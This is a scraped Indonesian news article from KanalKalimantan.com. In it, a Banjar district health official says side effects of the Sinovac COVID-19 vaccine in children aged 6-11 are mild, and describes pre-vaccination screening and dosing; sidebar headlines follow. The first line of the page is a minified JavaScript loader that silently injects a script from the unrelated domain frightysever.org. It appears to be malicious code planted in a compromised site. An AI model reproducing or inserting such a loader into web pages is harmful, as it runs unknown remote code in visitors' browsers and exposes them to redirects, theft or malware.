(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Banjar

Dinkes Banjar: Efek Samping Vaksin Covid-19 pada Anak Ringan!


KANALKALIMANTAN.COM, MARTAPURA – Vaksinasi Covid-19 anak rentang 6-11 tahun di wilayah Kabupaten Banjar sudah dimulai dengan jenis vaksin Sinovac. Seperti halnya dengan orang dewasa, anak-anak juga bisa mengalami indikasi Kejadian Ikutan Paska Imunisasi (KIPI).

Pemerintah menghimbau para orang tua agar tidak khawatir terhadap keamanan vaksin Covid-19, seperti ketika mendapati anaknya mengalami indikasi gejala KIPI.

Kepala Bidang Pencegahan dan Pengendalian Penyakit (P2P) Dinas Kesehatan Kabupaten Banjar, Linda Yunianti mengatakan, sebagian anak yang divaksin Covid-19 mengalami efek samping setelah vaksin namun biasanya hanya berupa gejala ringan.

“Keluhan yang umum terjadi pada pemberian vaksin anak adalah mengantuk dan pusing, namun setelah beberapa jam sesudahnya keluhan itu akan menghilang dengan sendirinya,” ujar Linda saat dihubungi KanalKalimantan.com, Jumat (21/1/2022).

 

Baca juga :  Kental Nuansa Merah Tua dan Emas, Ini Logo Baru Kemhan yang Ditetapkan Prabowo

Selain sudah melalui uji keamanan yang panjang, vaksin Sinovac juga akan diberikan kepada anak melalui screening atau pemeriksaan untuk melihat apakah anak memiliki riwayat penyakit atau pun pernah tertular Covid-19.

“Seperti pada orang dewasa, sebelum divaksinasi anak-anak juga akan discreening terlebih dulu untuk mengantisipasi kalau ada penyakit penyertaan yang mengakibatkan anak tersebut tidak boleh divaksin,” jelas Linda.

Lanjutnya, jika setelah dilakukan screening ternyata ditemukan indikasi anak tidak bisa divaksin maka disarankan untuk mengonsultasikannya ke dokter Spesialis Anak. Kemudian dokter akan mengeluarkan surat keterangan bahwa anak tidak dapat divaksin.

Secara intramuskular vaksin Sinovac yang direkomendasikan pada anak usia 6-11 tahun diberikan dengan dosis 3µg (0,5 ml) sebanyak dua kali pemberian, dengan jarak dosis pertama vaksin Covid-19 anak ke dosis kedua yaitu empat minggu.

 

Baca juga : Polisi Ralat Korban Lakalantas di Muara Rapak Balikpapan, Meninggal 4 Orang

Sesuai tujuan dari pemerintah vaksinasi merupakan ikhtiar dari masyarakat untuk pencagahan Covid-19. Musim pandemi yang tengah dilalui selama ini mau tidak mau mengharuskan masyarakat untuk melakukan vaksinasi agar meningkatnya imun tubuh.

“Insya Allah, ketika ikhtiar telah kita laksanakan, mudah-mudahan ini akan menghindarkan kita dari paparan Covid-19,” ucap Linda.

Oleh sebab itu, untuk meminimalisir terjadinya efek samping, tentunya orang tua perlu mempersiapkan anak sebelum maupun sesudah divaksinasi dan mengikuti proses screening dengan jujur. (kanalkalimantan.com/Wanda)

Reporter : wanda
Editor : cell


Desy Arfianty

Recent Posts

Keteladanan Pempimpin Daerah Kabupaten Banjar Berzakat

KANALKALIMANTAN.COM, MARTAPURA - Melalui Badan Amil Zakat Nasional (Baznas) dan Bagian Kesejahteraan Rakyat (Kesra) Setda… Read More

53 menit ago

Mudahkan Pemudik, Pemprov Kalsel Pastikan Jalan Mulus

KANALKALIMANTAN.COM, BANJARBARU - Arus mudik lebaran Idulfitri 1445 H sebentar lagi sehingga sangat diperlukan jalan… Read More

4 jam ago

Protes Pemilik Kandang Babi Tak Punya Pekerjaan Selain Beternak

Kasatpol PP : Tidak Boleh Ada Kandang Babi di Wilayah Kota Banjarbaru Read More

4 jam ago

Ketua Komisi IV DPRD Kapuas Hadiri Musrenbang RKPD 2025

KANALKALIMANTAN.COM, KUALA KAPUAS - Dewan Perwakilan Rakyat Daerah (DPRD) sebagai mitra kerja pemerintah daerah mendukung… Read More

5 jam ago

Pemkab Kapuas Gelar Musrenbang Tingkat Kabupaten Susun RKPD 2025

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas menggelar Musyawarah Perencanaan Pembangunan (Musrenbang) tingkat kabupaten… Read More

5 jam ago

Polres HSU Sita Belasan Sepeda Motor dari Operasi Jaran Intan

KANALKALIMANTAN.COM, AMUNTAI - Sejumlah barang terlarang dan belasan kendaraan bermotor roda dua diamankan anggota Polres… Read More

6 jam ago

This website uses cookies.